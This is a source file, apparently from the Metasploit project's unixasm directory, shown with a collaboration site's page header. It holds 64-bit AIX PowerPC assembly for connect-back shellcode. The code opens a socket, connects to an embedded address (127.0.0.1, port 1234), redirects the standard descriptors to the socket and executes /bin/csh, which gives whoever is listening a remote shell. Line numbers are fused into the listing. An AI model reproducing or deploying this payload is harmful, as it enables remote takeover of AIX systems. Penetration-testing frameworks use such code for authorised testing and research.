Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/unixasm/aix-power-cntsockcode64.S
Views: 11766
/*1* $Id: aix-power-cntsockcode64.S 40 2008-11-17 02:45:30Z ramon $2*3* aix-power-cntsockcode64.S - AIX Power Network connect code4* Copyright 2008 Ramon de Carvalho Valle <[email protected]>5*6* This library is free software; you can redistribute it and/or7* modify it under the terms of the GNU Lesser General Public8* License as published by the Free Software Foundation; either9* version 2.1 of the License, or (at your option) any later version.10*11* This library is distributed in the hope that it will be useful,12* but WITHOUT ANY WARRANTY; without even the implied warranty of13* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU14* Lesser General Public License for more details.15*16* You should have received a copy of the GNU Lesser General Public17* License along with this library; if not, write to the Free Software18* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA19*20*/2122/*23* Compile with the following command.24* $ gcc -Wall -DAIXLEVEL -m64 -o aix-power-cntsockcode6425* aix-power-cntsockcode64.S26*27* Where AIXLEVEL is one of the currently supported AIX levels.28* -DV530 AIX 5.3.029*30*/3132#include "aix-power.h"3334.globl .main35.csect .text[PR]3637.main:3839syscallcode:40# xor. %r31,%r31,%r3141xor. %r5,%r5,%r542bnel syscallcode43mflr %r3044cal %r30,511(%r30)45cal %r30,-511+36(%r30)46mtctr %r3047bctr48.long 0xff0204d249.long 0x7f00000150crorc %cr6,%cr6,%cr651.long 0x44ffff0252cal %r30,-8(%r30)5354cntsockcode:55lil %r29,__CAL5657# socket5859# xor %r5,%r5,%r560cal %r4,-511+1(%r29)61cal %r3,-511+2(%r29)62cal %r2,__NC_socket(%r29)63mtctr %r3064bctrl65mr %r28,%r36667# connect6869cal %r5,-511+16(%r29)70cal %r4,-8(%r30)71cal %r2,__NC_connect(%r29)72mtctr %r3073bctrl7475# close7677cal %r27,-511+2(%r29)78790:80mr %r3,%r2781cal %r2,__NC_close(%r29)82mtctr %r3083bctrl8485# kfcntl8687mr %r5,%r2788xor %r4,%r4,%r489mr %r3,%r2890cal %r2,__NC_kfcntl(%r29)91mtctr %r3092bctrl9394ai. %r27,%r27,-195bge 0b9697shellcode64:98# lil %r31,__CAL99xor. %r5,%r5,%r5100bnel shellcode64101# mflr %r30102# cal %r30,511(%r30)103# cal %r3,-511+40(%r30)104# stb %r5,-511+48(%r30)105mflr %r24106cal %r24,511(%r24)107cal %r3,-511+40(%r24)108stb %r5,-511+48(%r24)109stdu %r5,-8(%r1)110stdu %r3,-8(%r1)111mr %r4,%r1112# cal %r2,__NC_execve(%r31)113cal %r2,__NC_execve(%r29)114# crorc %cr6,%cr6,%cr6115# .long 0x44ffff02116mtctr %r30117bctrl118.asciz "/bin/csh"119120121122